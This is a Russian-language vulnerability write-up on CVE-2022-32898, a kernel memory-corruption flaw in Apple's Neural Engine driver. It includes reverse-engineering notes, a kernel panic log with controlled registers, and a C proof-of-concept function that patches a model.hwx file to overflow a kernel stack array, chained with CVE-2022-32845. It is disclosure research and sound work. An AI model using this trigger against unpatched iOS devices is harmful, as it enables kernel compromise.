
Технический анализ и демонстрация эксплуатации CVE-2022-32898, уязвимости повреждения памяти ядра в драйвере Apple Neural Engine, с подробным реверс-инжинирингом и методами эксплуатации для ядра iOS.
23 ноября 2022 • Mohamed GHANNAM (@_simo36)
Я публикую ещё две уязвимости ядра iOS, доступные из стандартной песочницы приложений, для которых не требуется открывать UserClient:

+16 багов ядра, о которых я сообщил в Apple, были исправлены в iOS 16/16.1. В следующем месяце я выступлю на #POC2022 с рассказом о том, как я связывал некоторые баги для достижения r/w ядра, а после конференции будут опубликованы эксплойт ядра для iOS 15 и некоторые другие критически опасные уязвимости.
Моя любимая функция IDA 8.0 на данный момент: искусственный импорт методов Obj-C

В iOS 15.5 beta 3 Apple удалила IOMallocAligned(KHEAP_DEFAULT,...) из IOSharedDataQueue/IODataQueue::initWithCapacity() (теперь используется kernel_memory_allocate() с флагом KMA_DATA). Это был элегантный способ подготовить (groom) кучу ядра по умолчанию с помощью данных, контролируемых пользователем. RIP

При реверс-инжиниринге процесса загрузки модели Apple Neural Engine на уровне ядра я обнаружил две интересные уязвимости повреждения памяти в коде, отвечающем за обработку функций нейронной сети в H11ANEIn::ANE_ProgramCreate_gated(). На мой взгляд, такие уязвимости легко найти при ручном аудите драйвера ядра, но почти невозможно обнаружить с помощью фаззеров, если только не создать что-то невероятно сложное.
Функции ZinComputeProgramGetNamesFromMultiPlaneLinear() и ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() отвечают за разбор входных и выходных данных процедуры, а точнее — за команду LC_THREAD с flavor потока 2 (ane_bind_state), у которой значение binding_type_info равно 4 и 5.
Насколько я могу судить, binding_type_info = 4 означает, что вход процедуры содержит более одного плана (plane), а binding_type_info = 5 означает, что вход не только содержит более одного плана, но и сжат.
Функция ZinComputeProgramGetNamesFromMultiPlaneLinear(), например, принимает 5 аргументов: указатель на load command, указатель на thread binding и три дополнительных выходных аргумента. Последний выходной аргумент planes — это массив, который будет содержать планы (или указатели ядра), чьё содержимое контролируется пользователем, а последний аргумент planeCount указывает, сколько планов (или указателей ядра) было скопировано в planes из файла model.hwx. Ниже приведено определение функции:

Из-за отсутствия проверки того, сколько планов может предоставить модель, указатели ядра могут быть записаны за пределы массива planes, что потенциально может привести ко многим интересным сценариям повреждения памяти.
Массив planes — это стековая переменная, расположенная в H11ANEIn::ANE_ProgramCreate_gated(), и при переполнении этой переменной (которая должна содержать несколько планов, до 4 элементов) более чем 4 планами могут быть повреждены и другие стековые переменные, что может привести к другим проблемам, таким как путаница типов (type confusion), поскольку перезаписываемые указатели ядра полностью контролируются пользователем.
Очевидно, что переполнение массива planes слишком большим количеством записей, скорее всего, перезапишет также стековый cookie и сохранённый указатель предыдущего стекового кадра, что приведёт к панике ядра. К счастью, общее количество планов полностью контролируется моделью, поэтому мы можем повредить несколько стековых переменных, не затрагивая эти чувствительные области стека.
Ещё один интересный сценарий, как показано на изображении ниже, — возможность переполнить два heap-объекта: H11ANEProgramBindingInfo (строка 528) и H11ANEProgramCreateArgsStructOutput (строка 533).

struct H11ANEProgramBindingInfo
{
struct {
uint32_t field_0;
char names[8][512];
uint32_t field_1004;
char *procedure_name;
} inputs[255], outputs[255];
};
Определение структуры H11ANEProgramCreateArgsStructOutput показано выше, и её повреждение может привести к следующим падениям:
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
x0: 0x1122334411223344 x1: 0xfffffe3000ecff20 x2: 0x0000000000000040 x3: 0x0000000000000000
x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0x00000000000000e8 x7: 0x0000000000000830
x8: 0xfffffe608949c000 x9: 0xfffffe24cec0d1b0 x10: 0xfffffe24cd7d4010 x11: 0xfffffe1667fa93e0
x12: 0x0000000000000001 x13: 0x0000000000000858 x14: 0xfffffe3000ed0760 x15: 0x00292a20736d6172
x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860 x22: 0xfffffe299a621a00 x23: 0xfffffe2999c72208
x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1 x26: 0xfffffe608949c000 x27: 0xfffffe60895a2054
x28: 0xfffffe6089dcb850 fp: 0xfffffe6089dcacd0 lr: 0x03effe0011b1b47c sp: 0xfffffe6089dcacd0
pc: 0xfffffe0010a8a48c cpsr: 0x00401208 esr: 0x96000004 far: 0x1122334411223344
Что делает эти уязвимости интересными, так это то, что они не требуют прямого взаимодействия с ядром, другими словами, не нужно открывать соединение UserClient, достаточно просто скомпилировать (или создать) вредоносную модель и позволить aned загрузить её от вашего имени.
Как вы, возможно, знаете, чтобы загрузить модель через aned, модель должна быть скомпилирована системным сервисом ANECompilerService или подписана Apple. Другими словами, приложение должно предоставить aned каталог .mlmodelc, который затем запросит у ANECompilerService компиляцию в model.hwx с использованием двух фреймворков: Espresso и ANECompiler. Если вы не знаете, о чём я говорю, можете взглянуть на слайды #POC2022 здесь, где я дал базовый обзор того, как работает aned. Кроме того, более подробно о процессе компиляции можно узнать в отличном выступлении на BlackHat Wish Wu о его исследовании ANE, а также в его замечательном инструменте, который в точности имитирует то, что делает ANECompilerService.
В нашем случае нам нужен model.hwx с процедурой, чей вход (или выход) поддерживает несколько планов. К сожалению, такой модели нет в форматах mlmodel, mlmodelc или mlpackage, и лишь несколько моделей в формате hwx предоставлены Apple. Анализ этих hwx-моделей показал, что они используют какие-то странные/недокументированные операции нейронных сетей, которые не существуют в кодовой базе открытой библиотеки coremltools, что намекает на то, что эти сетевые слои, вероятно, предназначены только для внутреннего использования. Однако реализация этих операций определяется фреймворком Espresso, и требуется некоторый реверс-инжиниринг, чтобы понять, какие входы и выходы они поддерживают и как правильно использовать их в качестве слоя внутри нейронной сети. Поскольку фреймворк написан на C++ со STL, мне было неинтересно реверсить эту операцию, потому что это заняло бы вечность.
Именно это стало главной причиной, которая привела меня к обнаружению CVE-2022-32845: это не только позволило мне избежать реверса этого пугающего фреймворка, но и сэкономило мне сотни часов на изучение продвинутых тем машинного обучения.
Поэтому я взял простой model.hwx и пропатчил одну из его команд LC_THREAD, чтобы воспроизвести желаемый результат в ane_bind_state, а затем использовал CVE-2022-32845, чтобы обманом заставить aned загрузить его так, как будто он подписан Apple; этого было достаточно, чтобы продемонстрировать уязвимость в Apple.
Функция, которая патчит модель, показана ниже, и вы можете позаимствовать кое-какой код из моего эксплойта ядра weightBufs , если хотите сами воспроизвести уязвимость.
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
dbg("[-] Bad Mach-O file \n");
return ;
}
struct load_command *lc = NULL;
FOR_EACH_COMMAND {
if (lc->cmd != LC_THREAD)
continue;
dbg("LC_THREAD command found \n");
compute_thread_command *thread = (compute_thread_command *)lc;
u32 name_off = 0;
switch (thread->flavor) {
case THREAD_BINDING: {
name_off = *(uint32_t*)((char*)thread + 0x18);
dbg("Binding Name \n");
compute_thread_binding * bd =
(compute_thread_binding *)&thread->thread_states;
bd->binding_typeinfo = 4;
bd->field4 = 1;
u32 plane_count = 0x30;
char *buf_start = (char*)lc + 0x20;
*(u32 *) buf_start = 0;
*(u32 *) (buf_start + 0x10) = plane_count;
char *_ptr = buf_start + 0x6C;
int i = 0;
uint64_t off = 0;
do {
if(off == 0)
off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
*(unsigned int *)_ptr = mh_size;
u64 *pp = (u64 *)&_ptr[4];
for(int k = 0; k < 4;k++)
pp[k] = 0x1122334411223344;
_ptr += 0x68;
}while (i++ < plane_count);
patched = true;
return;
}
case THREAD_PROCEDURE_OPERATION:
case THREAD_PROCEDURE:
default:
break;
}
dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);
}
}
Apple устранила проблему в iOS 16, добавив некоторые проверки в обе уязвимые функции, ограничивающие количество передаваемых планов четырьмя записями, как показано ниже:

На этом всё, скоро увидимся!